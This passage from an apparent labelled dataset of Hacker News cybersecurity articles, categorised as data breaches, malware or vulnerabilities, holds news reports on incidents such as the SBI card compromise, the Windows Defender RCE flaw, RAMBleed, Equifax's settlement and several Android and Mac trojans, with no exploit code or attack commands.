Cards which use Magnetic Stripe transmit your account number and secret PIN to merchants in a way that it could make easy for fraudsters to hack them, making these cards easier to clone.

Whereas, banks who are using EMV (Europay, MasterCard, and Visa) chip-equipped cards (better known as Chip-and-Pin cards) store your data in encrypted form and only transmit a unique code (one-time-use Token) for every transaction, making these cards more secure and lot harder to clone.

SBI Blocks and will Re-Issue 600,000 Debit Cards

SBI has blocked affected debit cards and will re-issue over 600,000 cards. Here's what SBI CTO Shiv Kumar Bhasin told the publication:
""It's a security breach, but not in our bank's systems. Many other banks also have this breach—right now and since a long time. A few ATMs have been affected by malware. When people use their card on infected switches or ATMs, there is a high probability that their data will be compromised.""
Mastercard also denied that its systems were breached, issuing the following statement:
""We're aware of the data compromise event. To be clear, Mastercard's own systems have not been breached. At Mastercard, safety and security of payments are a top priority for us and we're working on the investigations with the regulators, issuers, acquirers, global and local law enforcement agencies and third party payment networks to assess the current situation.""
Meanwhile, the Payments Council of India has ordered a forensic audit on the Indian bank servers to measure the damage and investigate the origin of the cyber attack. Bengaluru-based payment and security specialist SISA will conduct the forensic audit.

",Data_Breaches
Windows 8 will be challenge for Malware writers,https://thehackernews.com/2012/06/windows-8-will-be-challenge-for-malware.html,"Windows 8 will be challenge for Malware writers
Microsoft™s security researcher believe that upcoming operating system, Windows 8 is a step forward in security and Windows 8 will be far better at protecting against malware than it's predecessors.

Chris Valasek, a senior security research scientist at development testing firm Coverity, began examining the security features of Windows 8 last autumn, before the consumer previews of the upcoming revamp of the new Microsoft OS came out.

""There are always going to be vulnerabilities but you can make it difficult to leverage vulnerabilities to write exploits."" One major change between Windows 7 and 8 is the addition of more exploit-mitigation technologies, however. Windows Memory Managers (specifically the Windows Heap Manager and Windows Kernel Pool Allocator) are designed to make it far harder for attackers to exploit buffer-overflow vulnerabilities and the like to push malware onto vulnerable systems.

The ""security sandbox"" for applications for Windows 8 will also be a great step forward. ""These new Windows 8 Apps will be contained by a much more restrictive security sandbox, which is a mechanism to prevent programs from performing certain actions,"" Valasek explains.

""This new App Container provides the operating system with a way to make more fine-grained decisions on what actions certain applications can perform, instead of relying on the more broad 'Integrity Levels' that debuted in Windows Vista/7.

Windows 8 also comes with a new version of Internet Explorer, Microsoft's browser software. Internet Explorer 10 will come with a mode that disables support for third-party plug-ins such as Flash and Java.

",Malware
Microsoft Issues Emergency Patch For Critical RCE in Windows Malware Scanner,https://thehackernews.com/2017/05/windows-defender-rce-flaw.html,"Microsoft's own antivirus software made Windows 7, 8.1, RT and 10 computers, as well as Windows Server 2016 more vulnerable.

Microsoft has just released an out-of-band security update to patch the crazy bad bug discovered by a pair of Google Project Zero researchers over the weekend.

Security researchers Tavis Ormandy announced on Twitter during the weekend that he and another Project Zero researcher Natalie Silvanovich discovered ""the worst Windows remote code [execution vulnerability] in recent memory.""

Natalie Silvanovich also published a proof-of-concept (PoC) exploit code that fits in a single tweet.

The reported RCE vulnerability, according to the duo, could work against default installations with ""wormable"" ability – capability to replicate itself on an infected computer and then spread to other PCs automatically.

According to an advisory released by Microsoft, the remotely exploitable security flaw (CVE-2017-0290) exists in Microsoft Malware Protection Engine (MMPE) – the company's own antivirus engine that could be used to fully compromise Windows PCs without any user interaction.

List of Affected Anti-Malware Software

Eventually, every anti-malware software that ship with the Microsoft's Malware Protection Engine are vulnerable to this flaw. The affected software includes:

Windows Defender
Windows Intune Endpoint Protection
Microsoft Security Essentials
Microsoft System Center Endpoint Protection
Microsoft Forefront Security for SharePoint
Microsoft Endpoint Protection
Microsoft Forefront Endpoint Protection

Microsoft's Defender security software comes enabled by default on Windows 7, 8.1, RT 8.1, and Windows 10, as well as Windows Server 2016. All are at risk of full remote system compromise.

Remote Code Execution Flaw in Microsoft's Malware Protection Engine

The flaw resides in the way the Microsoft Malware Protection Engine scan files. It is possible for an attacker to craft a malicious file that could lead to memory corruption on targeted systems.

Researchers have labeled the flaw as a ""type confusion"" vulnerability that exists in NScript, a ""component of mpengine that evaluates any filesystem or network activity that looks like JavaScript,"" which fails to validate JavaScript inputs.
""To be clear, this is an unsandboxed and highly privileged JavaScript interpreter that is used to evaluate untrusted code, by default on all modern Windows systems. This is as surprising as it sounds,"" Google security researchers explained in a bug report posted on the Chromium forum.
Since antivirus programs have real-time scanning functionality enabled by default that automatically scans files when they are created, opened, copied or downloaded, the exploit gets triggered as soon as the malicious file is downloaded, infecting the target computer.

The vulnerability could be exploited by hackers in several ways, like sending emails, luring victims to sites that deliver malicious files, and instant messaging.
""On workstations, attackers can access mpengine by sending emails to users (reading the email or opening attachments is not necessary), visiting links in a web browser, instant messaging and so on,"" researchers explained.
""This level of accessibility is possible because MsMpEng uses a filesystem minifilter to intercept and inspect all system filesystem activity, so writing controlled contents to anywhere on disk (e.g. caches, temporary internet files, downloads (even unconfirmed downloads), attachments, etc.) is enough to access functionality in mpengine.""
The injected malicious payload runs with elevated LocalSystem level privileges that would allow hackers to gain full control of the target system, and perform malicious tasks like installing spyware, stealing sensitive files, and login credentials, and much more.

Microsoft responded to the issue very quickly and comes up with a patch within just 3 days, which is very impressive. The patch is now available via Windows Update for Windows 7, 8.1, RT and 10.

The vulnerable version of Microsoft Malware Protection Engine (MMPE) is 1.1.13701.0, and the patched version is 1.1.13704.0.

By default, Windows PCs automatically install the latest definitions and updates for the engine. So, your system will install the emergency update automatically within 1-2 days, but you can also get it installed immediately by pressing 'Check Update' button in your settings.

",Vulnerability
Mailbox iPhone app vulnerability executes any Javascript from HTML mail body,https://thehackernews.com/2013/09/mailbox-iphone-app-vulnerability.html,"Italian Researcher Michele Spagnuolo recently revealed a serious vulnerability in the popular Mailbox iPhone app.

Mailbox is a tidy iOS the email app recently purchased by Dropbox, has a pretty wide-open hole that could allow bad actors to hijack your device.

The flaw occurs in the latest version of Mailbox (1.6.2) currently available from the App Store, that executes any Javascript which is present in the body of HTML emails.

With exploitation of this vulnerability, users could be subject to account hijacking, spam and phishing attacks by simply opening an HTML email containing embedded javascript.

You can see a video demonstration below:
The good news is that the problem is probably not as bad as it looks, because iOS is tightly sandboxed, its security features are built with this functionality in mind and normally do not allow any potentially harmful operation to take place without the user's permission.

Mailbox's statement on this issue, ""Many thanks to the community for continuing to push Mailbox to be as great an app as possible. As others have noted, the risks here are extremely limited thanks to the inter-app security built into iOS. That being said, we're working on an improvement to mail formatting that will mitigate the issue entirely and aim to ship it soon.""

",Vulnerability
Equifax to Pay up to $700 Million in 2017 Data Breach Settlement,https://thehackernews.com/2019/07/equifax-data-breach-fine.html,"Equifax, one of the three largest credit-reporting firms in the United States, has to pay up to $700 million in fines to settle a series of state and federal investigations into the massive 2017 data breach that exposed the personal and financial data of nearly 150 million Americans—that's almost half the country.

According to an official announcement by the U.S. Federal Trade Commission (FTC) today, Equifax has agreed to pay at least $575 million in fines, but this penalty could rise to up to $700 million depending on the amount of compensation people claim.

Up to $425 million of the fines will go to a fund that will provide credit monitoring services to affected customers and compensate anyone who bought such services from the company and paid other related expenses as a result of the breach.

Rest $175 million and $100 million will go to civil penalties across 50 states and to the Consumer Financial Protection Bureau (CFPB), respectively.

Besides the penalty, the company has also been ordered to provide all American consumers with six free credit reports each year for seven years, along with the one free annual credit report, starting from January 2020.

In September 2017, Equifax suffered a massive data breach that allowed hackers to steal personal information, including names, birth dates, addresses, social security numbers, and, in some cases, driver's license numbers, of as many as 147 million people.

The breach, which has been called one of the worst in American history, occurred due to failure of the company to patch a critical security vulnerability in its systems it was made aware of in March that year.

""Equifax failed to patch its network after being alerted in March 2017 to a critical security vulnerability affecting its ACIS database, which handles inquiries from consumers about their personal credit data,"" the FTC alleges.

""Even though Equifax's security team ordered that each of the company's vulnerable systems should be patched within 48 hours after receiving the alert, Equifax did not follow up to ensure the order was carried out by the responsible employees.""

In fact, Equifax did not realize of its unpatched database until July 2017, when its security team detected suspicious traffic on its network, an investigation into the matter revealed that multiple hackers managed to exploit the vulnerability to gain entry to Equifax's network.

Gaining access to Equifax's network allowed hackers to access an unsecured file that included administrative credentials stored in plain text, which eventually let them gain access to consumers' personal data and operate undetected on the company's network for months.

""Equifax failed to take basic steps that may have prevented the breach that affected approximately 147 million consumers,"" said FTC Chairman Joe Simons.

""This settlement requires that the company take steps to improve its data security going forward, and will ensure that consumers harmed by this breach can receive help protecting themselves from identity theft and fraud.""

The FTC has set up a dedicated page on its site to provide information to customers who want to make a claim against Equifax.

The commission has even set up a dedicated email (equifax@ftc.gov), encouraging Equifax employees to mail FTC if they ""believe the company is failing to adhere to its data security promises.""

Last year, the UK's Information Commissioner's Office (ICO) also fined Equifax with £500,000 (over $622,000)—that's the maximum fine allowed by the UK's Data Protection Act 1998—for the 2017 data breach.

",Data_Breaches
RAMBleed Attack – Flip Bits to Steal Sensitive Data from Computer Memory,https://thehackernews.com/2019/06/rambleed-dram-attack.html,"A team of cybersecurity researchers yesterday revealed details of a new side-channel attack on dynamic random-access memory (DRAM) that could allow malicious programs installed on a modern system to read sensitive memory data from other processes running on the same hardware.

Dubbed RAMBleed and identified as CVE-2019-0174, the new attack is based on a well-known class of DRAM side channel attack called Rowhammer, various variants [GLitch, RAMpage, Throwhammer, Nethammer, Drammer] of which have been demonstrated by researchers in recent years.

Known since 2012, Rowhammer bug is a hardware reliability issue that was found in the new generation of DRAM chips.

It turned out that repeatedly and rapidly accessing (hammering) a row of memory can cause bit flips in adjacent rows, i.e., changing their bit values from 0 to 1 or vice-versa.

In the following years, researchers also demonstrated successful exploits to achieve privilege escalation on the vulnerable computers by flipping (writing) bits in the victim's memory.

Discovered by a team of researchers from the University of Michigan, Graz University of Technology and the University of Adelaide, the new RAMBleed also relies on the bit-flip mechanism; but instead of writing data in the adjacent rows, this attack allows attackers to read the information in protected memory belonging to other programs and users.

""More specifically, we show how an unprivileged attacker can exploit the data dependence between Rowhammer induced bit flips and the bits in nearby rows to deduce these bits, including values belonging to other processes and the kernel.""

""Thus, the primary contribution of this work is to show that Rowhammer is a threat to not only integrity but to confidentiality as well.""
As shown in the image, if an attacker wants to read secret data contained in the ""Secret"" memory cells, he has to:

Find a flippable bit (Sampling page) at the same offset in a memory page as the secret bit.
Manipulate the memory layout using memory massaging techniques to carefully place the victim's secret data in the rows above and below the attacker's memory row, the arrangement as illustrated in the image, so that the bit flips in the attacker's rows becomes dependent on the values of the victim's secret data.
Hammer the rows A0 and A2 and induce bit flips on row A1 (Sampling page), whose initial value has been set to 1, influencing its value using the victim's data in ""secret"" cells.

""If the bit flipped, the attacker deduces that the value of the secret bit is 0. Otherwise, the attacker deduces that the value is 1,"" the researchers said in the paper. ""Repeating the procedure with flippable bits at different offsets in the page allows the attacker to recover all of the bits of the victim's secret.""


To demonstrate the read side channel technique, researchers presented an attack against OpenSSH 7.9 running on a Linux machine and successfully extracted an RSA-2048 key from the root level SSH daemon.

According to researchers, even ECC (Error Correcting Code) memory protections—which can detect and correct unwanted bit-flips and also mitigates many Rowhammer-based attacks—don't prevent RAMBleed attack.

Though both DDR3 and DDR4 are vulnerable to RAMBleed attack, researchers advised users to mitigate the risk by upgrading their memory to DDR4 with targeted row refresh (TRR) enabled, as it's harder to exploit.

",Vulnerability
Android malware - Works on remote commands form encrypted blog,https://thehackernews.com/2011/10/android-malware-works-on-remote.html,"Android malware - Works on remote commands form encrypted blog
Researchers from Trend Micro have spotted a piece of malicious software for Android. This is the first known Android malware that reads blog posts and interprets these as commands. It can also download and install additional applications, therefore further compromising the affected device.

Trend Micro calls the malware ""ANDROIDOS_ANSERVER.A."" If the application is installed, it asks for a variety of permissions. If those are granted, it can then make calls, read log files, write and receive SMSes and access the Internet and network settings, among other functions. This backdoor may be unknowingly downloaded by a user while visiting malicious websites. It may be manually installed by a user.

""This is a blog site with encrypted content, which based on our research, is the first time Android malware implemented this kind of technique to communicate,"" wrote Karl Dominguez, a Trend Micro threat response engineer.

We recommend that users should be cautious when downloading Android applications from third party application stores due to the number of rogue applications that have been found.

",Vulnerability
"Fourth, a 16-year-old Hacker, Arrested over TalkTalk Hack",https://thehackernews.com/2015/11/talktalk-hacker.html,"Police have arrested a fourth person, a 16-year-old boy, from London in connection with the high-profile hack of British telecoms giant TalkTalk.

The investigating officers from the Metropolitan Police Cyber Crime Unit (MPCCU) arrested the teenager at his home in Norwich on suspicion of Computer Misuse Act offences.

TalkTalk was subjected to a 'significant and sustained' hacking attack on its official website two weeks back, which put the Bank Details and Personally Identifiable Information (PII) of its 4 Million customers at risk.

The telco confirmed last week that at most 1.2 Million names, email addresses and phone numbers and around 21,000 unique bank account numbers and sort codes were compromised in the attack.

However, TalkTalk said that the stolen credit card details were incomplete, so the payment cards could not be used for any false financial transactions. But, the company advised customers to remain vigilant against financial fraud.

Security experts believe that the recent hacking attack on TalkTalk may have taken place due to SQL injection (SQLi) attack, a method used to inject SQL commands to breach the database and get access to the users' personal data.

This is the fourth arrest since TalkTalk suffered a massive data breach and the 16-year-old boy remains in custody at a local police station.

The Police Service of Northern Ireland and MET detectives arrested a 20-year-old Staffordshire man on Sunday while 2 teenagers were also arrested in connection with the Data breach incident.

The first arrest came last week when police arrested and then bailed a 15-year-old boy from Northern Ireland while another 16-year-old boy from London was arrested and bailed on 30 October.

However, the connection between these four persons has not been known yet.

",Vulnerability
"Finland's 3rd Largest Data Breach Exposes 130,000 Users' Plaintext Passwords",https://thehackernews.com/2018/04/helsingin-uusyrityskeskus-hack.html,"Over 130,000 Finnish citizens have had their credentials compromised in what appears to be third largest data breach ever faced by the country, local media reports.

Finnish Communications Regulatory Authority (FICORA) is warning users of a large-scale data breach in a website maintained by the New Business Center in Helsinki (""Helsingin Uusyrityskeskus""), a company that provides business advice to entrepreneurs and help them create right business plans.

Unknown attackers managed to hack the website (https://liiketoimintasuunnitelma.com) and stole over 130,000 users' login usernames and passwords, which were stored on the site in plain-text without using any cryptographic hash.

Right after knowing of the breach on 3rd April, the company took down the affected website, which is currently showing ""under maintenance"" notice with a press release about the incident on its homepage.
""We are very sorry for all the people who have been subjected to crime and who may be affected by mental or financial disadvantages. Unfortunately, we are not yet able to know exactly how many people are and what information this information breaks. We have filed an offense report, and the parties do not need to report to the police separately,"" says Jarmo Hyökyvaara, Chairman of the Board of the New Business Center of Helsinki.
""The maintenance and security of our service was the responsibility of our subcontractor, our long-term partner. Unfortunately, the security of the service has not been enough to prevent this kind of attack. This is, in part, our mistake, and as a subscriber and owner of the service we are responsible for this.""
The company also ensures that the detailed information of its customers was stored on a different system, which was not affected by the data breach.

The incident has been reported to the Helsinki police, who is currently investigating the case as a gross fraud.

As soon as the website returns, users who have an account with the affected website are strongly recommended to change their passwords.

Since the plain-text passwords have been exposed to hackers, it would be a great idea for users to change their passwords for any other website, in case they are using identical to the one used on this website.

",Data_Breaches
Beware! Fireball Malware Infects Nearly 250 Million Computers Worldwide,https://thehackernews.com/2017/06/fireball-computer-virus.html,"Security researchers have discovered a massive malware campaign that has already infected more than 250 million computers across the world, including Windows and Mac OS.

Dubbed Fireball, the malware is an adware package that takes complete control of victim's web browsers and turns them into zombies, potentially allowing attackers to spy on victim's web traffic and potentially steal their data.

Check Point researchers, who discovered this massive malware campaign, linked the operation to Rafotech, a Chinese company which claims to offer digital marketing and game apps to 300 million customers.

While the company is currently using Fireball for generating revenue by injecting advertisements onto the browsers, the malware can be quickly turned into a massive destroyer to cause a significant cyber security incident worldwide.

Fireball comes bundled with other free software programs that you download off of the Internet. Once installed, the malware installs browser plugins to manipulate the victim's web browser configurations to replace their default search engines and home pages with fake search engines (trotux.com).
""It's important to remember that when a user installs freeware, additional malware isn't necessarily dropped at the same time."" researchers said. ""Furthermore, it is likely that Rafotech is using additional distribution methods, such as spreading freeware under fake names, spam, or even buying installs from threat actors.""
The fake search engine simply redirects the victim's queries to either Yahoo.com or Google.com and includes tracking pixels that collect the victim's information.

Far from legitimate purpose, Fireball has the ability to spy on victim's web traffic, execute any malicious code on the infected computers, install plug-ins, and even perform efficient malware dropping, which creates a massive security hole in targeted systems and networks.
""From a technical perspective, Fireball displays great sophistication and quality evasion techniques, including anti-detection capabilities, multi-layer structure, and a flexible C&C– it is not inferior to a typical malware,"" researchers said.
At the current, Fireball adware is hijacking users' web traffic to boost its advertisements and gain revenue, but at the same time, the adware has the capability to distribute additional malware.

""Based on our estimated infection rate, in such a scenario, one out of five corporations worldwide will be susceptible to a major breach,"" researchers added.

According to researchers, over 250 million computers are infected worldwide, 20 percent of them are corporate networks:
25.3 million infections in India (10.1%)
24.1 million in Brazil (9.6%)
16.1 million in Mexico (6.4%)
13.1 million in Indonesia (5.2%)
5.5 million In US (2.2%)
""How severe is it? Try to imagine a pesticide armed with a nuclear bomb. Yes, it can do the job, but it can also do much more,"" researchers warned. ""Many threat actors would like to have even a fraction of Rafotech's power.""

Warning Signs that Your Computer is Fireball-Infected

If the answer to any of the following questions is ""NO,"" that means your computer is infected with Fireball or a similar adware.

Open your web browser and check:
Did you set your homepage?
Are you able to modify your browser's homepage?
Are you familiar with your default search engine and can modify that as well?
Do you remember installing all of your browser extensions?
To remove the adware, just uninstall the respective application from your computer (or use an adware cleaner software) and then restore/reset your browser configurations to default settings.

The primary way to prevent such infections is to be very careful when you agree to install.

You should always pay attention when installing software, as software installers usually include optional installs. Opt for custom installation and then de-select anything that is unnecessary or unfamiliar.

",Malware
"Hacker Breaks into Political Party's Video Conference System; Could Spy, too!",https://thehackernews.com/2016/06/canadian-political-party-hacked.html,"A critical flaw in the video conferencing software of the Quebec Liberal Party (PLQ) − a Canadian federalist provincial political party − allowed a user to spy on and hear the strategy discussions of the party at its premises and even access the live video camera feeds.

But luckily, the unknown white hat hacker who discovered the flaw alerted the PLQ staff of the security issue, showing them some videos of the discussions held at the party headquarters as a proof-of-concept.

What if the hacker was having a malicious intent?

He could have spied on the party's video feeds covertly and could have handed over the feeds and sensitive information, along with the working intrusion bug, to the opposition party for monetary benefits.

It seems like the hacker spied on video conference meetings between PLQ's Quebec and Montreal branches.

According to the hacker, the PLQ's software not only contained a security vulnerability but also used the factory default password, reports the Le Journal de Montreal.

""It was just too easy. It is as if they had stuck their PIN on their credit card,"" said the local media sources. ""They are not careful [...] If it falls into the hands of someone else, who knows what can happen.""

The hacker, who want to remain anonymous, said he accessed the party's video feeds during PLQ meetings, logged into the video conferencing software several times as well as observed and listened to PLQ discussion on different occasions at its premises.

The hacker told the Canadian journalist about some of the topics discussed in the meetings. He also started and showed the video feed from PLQ's cameras on demand, and provided screenshots in order to validate his claims.

The party officials confirmed the data breach and took the bug report by the hacker seriously, though they said that no sensitive or nation-level issue was ever discussed in those meetings.

""We take this information very seriously,"" said Maxime Roy, the director of communications. ""We already have a team of experts working to understand what happened and plug the computer breach on the most video conferencing system as quickly as possible.""

After thoroughly investigating the issue, the PLQ officials fixed the bug and had changed the default password of their video conferencing software; the officials told the reporter.

",Vulnerability
11-Year Old Linux Kernel Local Privilege Escalation Flaw Discovered,https://thehackernews.com/2017/02/linux-kernel-local-root.html,"Another privilege-escalation vulnerability has been discovered in Linux kernel that dates back to 2005 and affects major distro of the Linux operating system, including Redhat, Debian, OpenSUSE, and Ubuntu.

Over a decade old Linux Kernel bug (CVE-2017-6074) has been discovered by security researcher Andrey Konovalov in the DCCP (Datagram Congestion Control Protocol) implementation using Syzkaller, a kernel fuzzing tool released by Google.

The vulnerability is a use-after-free flaw in the way the Linux kernel's ""DCCP protocol implementation freed SKB (socket buffer) resources for a DCCP_PKT_REQUEST packet when the IPV6_RECVPKTINFO option is set on the socket.""

The DCCP double-free vulnerability could allow a local unprivileged user to alter the Linux kernel memory, enabling them to cause a denial of service (system crash) or escalate privileges to gain administrative access on a system.
""An attacker can control what object that would be and overwrite its content with arbitrary data by using some of the kernel heap spraying techniques. If the overwritten object has any triggerable function pointers, an attacker gets to execute arbitrary code within the kernel,"" full disclosure mailing list about the vulnerability reads.
DCCP is a message-oriented transport layer protocol that minimizes the overhead of packet header size or end-node processing as much as possible and provides the establishment, maintenance and teardown of an unreliable packet flow, and the congestion control of that packet flow.

This vulnerability does not provide any way for an outsider to break into your system in the first place, as it is not a remote code execution (RCE) flaw and require an attacker to have a local account access on the system to exploit the flaw.

Almost two months ago, a similar privilege-escalation vulnerability (CVE-2016-8655) was uncovered in Linux kernel that dated back to 2011 and allowed an unprivileged local user to gain root privileges by exploiting a race condition in the af_packet implementation in the Linux kernel.

The vulnerability has already been patched in the mainline kernel. So, if you are an advanced Linux user, apply the patch and rebuild kernel yourself.

OR, you can wait for the next kernel update from your distro provider and apply it as soon as possible.

",Vulnerability
Red Alert 2.0: New Android Banking Trojan for Sale on Hacking Forums,https://thehackernews.com/2017/09/android-banking-trojan.html,"The Recent discoveries of dangerous variants of the Android banking Trojan families, including Faketoken, Svpeng, and BankBot, present a significant threat to online users who may have their login credentials and valuable personal data stolen.

Security researchers from SfyLabs have now discovered a new Android banking Trojan that is being rented on many dark websites for $500 per month, SfyLabs' researcher Han Sahin told The Hacker News.

Dubbed Red Alert 2.0, the Android banking malware has been fully written from scratch, unlike other banking trojans, such as BankBot and ExoBot, which were evolved from the leaked source code of older trojans.

The Red Alert banking malware has been distributed via many online hacking forums since last few months, and its creators have continuously been updating the malware to add new functionalities in an effort to make it a dangerous threat to potential victims.

Malware Blocks Incoming Calls from Banks

Like most other Android banking trojans, Red Alert has a large number of capabilities such as stealing login credentials, hijacking SMS messages, displaying an overlay on the top of legitimate apps, contact list harvesting, among others.

Besides this, Red Alert actors have also added an interesting functionality to its malware, like blocking and logging all incoming calls associated with banks and financial associations.

This would potentially allow the Red Alert malware to prevent warnings of a compromised account to be received by the victims from their associated banks.

Malware Uses Twitter As Backup C&C Infrastructure
Another most interesting thing about Red Alert 2.0 is that it uses Twitter to prevent losing bots when its command and control server is knocked offline.
""When the bot fails to connect to the hardcoded C2 it will retrieve a new C2 from a Twitter account,"" SfyLabs researchers said in a blog post.
""This is something we have seen in the desktop banking malware world before, but the first time we see it happening in an Android banking trojan.""
The Red Alert 2.0 is currently targeting victims from more than 60 banks and social media apps across the world and works on Android 6.0 (Marshmallow) and previous versions.

Here's How the Red Alert 2.0 Trojan Works:

Once installed on victim's phone via the third-party app store, the malware waits for the victim to open a banking or social media app, whose interface it can simulate, and once detected, the Trojan immediately overlays the original app with a fake user interface.

The fake interface then informs the victim that there is an error while logging the user in and requests the user to re-authenticate his/her account.

As soon as the user enters the credentials into the fake user interface, Red Alert records them and sends them to the attacker-controlled command and control (C&C) server to be used by the attackers to hijack the account.

In case of banking apps, the recorded information is being used by attackers to initiate fraudulent transactions and drain the victim's bank account.

Since Red Alert 2.0 can also intercept SMS text messages received by the infected smartphone, the trojan could work around two-factor authentication techniques that otherwise are designed to throttle such attacks.

Ways to Protect Yourself Against Such Android Banking Trojans

The easiest way to prevent yourself from being a victim of one such mobile banking Trojan is to avoid downloading apps via third-party app stores or links provided in SMS messages or emails.

Just to be on the safer side, go to Settings → Security and make sure ""Unknown sources"" option is turned off on your Android device that blocks installation of apps from unknown sources.

Most importantly, verify app permissions before installing any app, even from official Google Play Store, and if you find any application asking more than what it is meant for, just do not install it.

It is always a good idea to install an anti-virus app from a reputed vendor that can detect and block such Trojan before it can infect your device.

Also, always keep your system and apps up-to-date.

",Malware
A New Software Supply‑Chain Attack Targeted Millions With Spyware,https://thehackernews.com/2021/02/a-new-software-supplychain-attack.html,"Cybersecurity researchers today disclosed a new supply chain attack targeting online gamers by compromising the update mechanism of NoxPlayer, a free Android emulator for PCs and Macs.
Dubbed ""Operation NightScout"" by Slovak cybersecurity firm ESET, the highly-targeted surveillance campaign involved distributing three different malware families via tailored malicious updates to selected victims based in Taiwan, Hong Kong, and Sri Lanka.
NoxPlayer, developed by Hong Kong-based BigNox, is an Android emulator that allows users to play mobile games on PC, with support for keyboard, gamepad, script recording, and multiple instances. It is estimated to have over 150 million users in more than 150 countries.
First signs of the ongoing attack are said to have originated around September 2020, from when the compromise continued until ""explicitly malicious activity"" was uncovered on January 25, prompting ESET to report the incident to BigNox.
""Based on the compromised software in question and the delivered malware exhibiting surveillance capabilities, we believe this may indicate the intent of intelligence collection on targets involved in the gaming community,"" said ESET researcher Ignacio Sanmillan.
To carry out the attack, the NoxPlayer update mechanism served as the vector to deliver trojanized versions of the software to users that, upon installation, delivered three different malicious payloads such as Gh0st RAT to spy on its victims, capture keystrokes, and gather sensitive information.
Separately, researchers also found instances where additional malware binaries like PoisonIvy RAT were downloaded by the BigNox updater from remote servers controlled by the threat actor.
""PoisonIvy RAT was only spotted in activity subsequent to the initial malicious updates and downloaded from attacker-controlled infrastructure,"" Sanmillan said.
First released in 2005, PoisonIvy RAT has been used in several high-profile malware campaigns, most notably in the 2011 compromise of RSA SecurID data.
Noting that the malware loaders used in the attack shared similarities with that of a compromise of Myanmar presidential office website in 2018 and a breach of a Hong Kong university last year, ESET said the operators behind the attack breached BigNox's infrastructure to host the malware, with evidence alluding to the fact that its API infrastructure could have been compromised.
""To be on the safe side, in case of intrusion, perform a standard reinstall from clean media,"" Sanmillan said. ""For uninfected NoxPlayer users, do not download any updates until BigNox sends notification that they have mitigated the threat. Furthermore, [the] best practice would be to uninstall the software.""

",Malware
"Malware Poses as Flash Update Infects 110,000 Facebook Users within 2 Days",https://thehackernews.com/2015/01/facebook-scam-flash-player-malware.html,"Facebook users just Beware!! Don't click any porn links on Facebook. Foremost reason is that you have thousands of good porn sites out there, but there's an extra good reason right now.

Rogue pornography links on the world's most popular social network have reportedly infected over 110,000 Facebook users with a malware Trojan in just two days and it is still on the rise, a security researcher warned Friday.

The Facebook malware disguised as a Flash Player update and spreads itself by posting links to a pornographic video from the Facebook accounts of previously infected users. The malware generally tags as many as 20 friends of the infected user.
""In the new technique, which we call it 'Magnet,' the malware gets more visibility to potential victims by tagging the friends of the victim in the malicious post,"" said Mohammad Faghani, a senior consultant at PricewaterhouseCoopers, in a mailing list post to the Full Disclosure infosec hangout.
""A tag may be seen by friends of the victim's friends as well, which leads to a larger number of potential victims. This will speed up the malware propagation.""
The malicious post will provide you a link to a porn video in one of your friend's posts. Once clicked, the malicious link will land you a website that will prompt you to quickly download and run a Flash update in order to play the video message purporting to be pornography.

Unfortunately, doing so will download a Trojan horse directly onto your computer system, allowing a malicious hacker to hijack your Keyboard and Mouse. By having control of victim's keyboard and mouse, one can capture very useful information – like webmail and bank account passwords.

Once installed on a Windows PC, the malware collects the victim's data and tries to communicate with the server behind the filmver.com and pornokan.com domains for more instructions.

Faghani notes that the malicious file drops the chromium.exe, wget.exe, arsiv.exe and verclsid.exe executable files. In general, Chromium.exe is a generic dropper that probably downloads more malware to install, such as the keylogger, once it's running.

This new technique also enables the malware to keep a low profile, while also displaying itself publicly on your profile, and this is only the reason how the malware infected so many Facebook users just in two days.

The other embarrassing part of this is when your family and friends see that you have just liked and shared porn links on your wall.
In a statement, Facebook said, ""We use a number of automated systems to identify potentially harmful links and stop them from spreading. In this case, we're aware of these malware varieties, which are typically hosted as browser extensions and distributed using links on social media sites.""
In order to stop the wave of infections, Facebook is ""blocking links to these scams, offering cleanup options, and pursuing additional measures to ensure that people continue to have a safe experience on Facebook.""

To protect yourself from such type of malware infections, just avoid clicking rogue porn links on the social media sites, and when it's Facebook, Don't do it ! Just Don't !

",Malware
More than 600000 Macs system infected with Flashback Botnet,https://thehackernews.com/2012/04/more-than-600000-macs-system-infected.html,"More than 600000 Macs system infected with Flashback Botnet

The computer security industry is buzzing with warnings that more than half a million Macintosh computers may have been infected with a virus targeting Apple machines.

Dr. Web originally reported Wednesday that 550,000 Macintosh computers were infected by the growing Mac botnet. But later in the day, Dr. Web malware analyst Sorokin Ivan announced on Twitter that the number of Macs infected with Flashback had increased to 600,000, with 274 of those based in Cupertino, Calif.

Dr. Web explained that a system gets infected with the Mac Flashback trojan ""after a user is redirected to a bogus site from a compromised resource or via a traffic distribution system."" A specific JavaScript code on the site that contains the virus is then used to load a Java applet, which is how the malware makes its way onto a user's computer.

This Trojan spreads via infected web pages and exploits Java vulnerabilities that have been known for some time, yet Apple didn't see fit to release a patch until this week (Java for Mac OS X 10.6 Update 7 and Java for OS X Lion 2012-001).

Macs have historically been an unappealing hacking target because of their low market share. Instead, criminals have attacked personal computers running Microsoft Corp.'s Windows software, seeking the biggest number of victims for illicit moneymaking schemes. Windows runs on more than 90 percent of the world's desktop computers, according to market researcher Net Applications.

'All the stuff the bad guys have learnt for doing attacks in the PC world is now starting to transition to the Mac world,' McAfee Labs director of threat intelligence Dave Marcus told.

Once installed, the Flashback will inject code into Web browsers and other applications like Skype to harvest passwords and other information from those program's users.Security company F-Secure has published instructions on how to determine whether a Mac is infected with Flashback.

'There has been a significant increase in Mac malware in the last several quarters, so what we've seen with the Flashback Trojan isn't particularly surprising,' Marcus said.'Cybercriminals will attack any operating system with valuable information, and as the popularity of Macs increase, so will attacks on the Mac platform.'

",Vulnerability
Vevo Music Video Service Hacked — 3.12TB of Internal Data Leaked,https://thehackernews.com/2017/09/vevo-music-video-hacked.html,"OurMine is in headlines once again—this time for breaching the popular video streaming service Vevo.

After hunting down social media accounts of HBO and defacing WikiLeaks website, the infamous self-proclaimed group of white hat hackers OurMine have hacked Vevo and leaked about 3.12 TB worth of internal files.

Vevo is a joint venture between Sony Music Entertainment, Universal Music Group, Abu Dhabi Media, Warner Music Group, and Google's parent company Alphabet Inc.

OurMine managed to get hold of Vevo's ""sensitive"" data including its internal office documents, videos and promotional materials after the hacking collective successfully hacked into the Vevo servers.

The group then posted the stolen documents (approximately 3.12 terabytes) from Vevo on its website on late Thursday, though OurMine removed the stolen information from its website on Vevo's request.

Although it's not clear what prompted OurMine to hack Vevo, the group noted on its website that it initially tried to alert Vevo of the breach privately, but when one of the Vevo's employees responded, ""F*** off, you don't have anything,"" it went public with the data breach and leaked Vevo files.

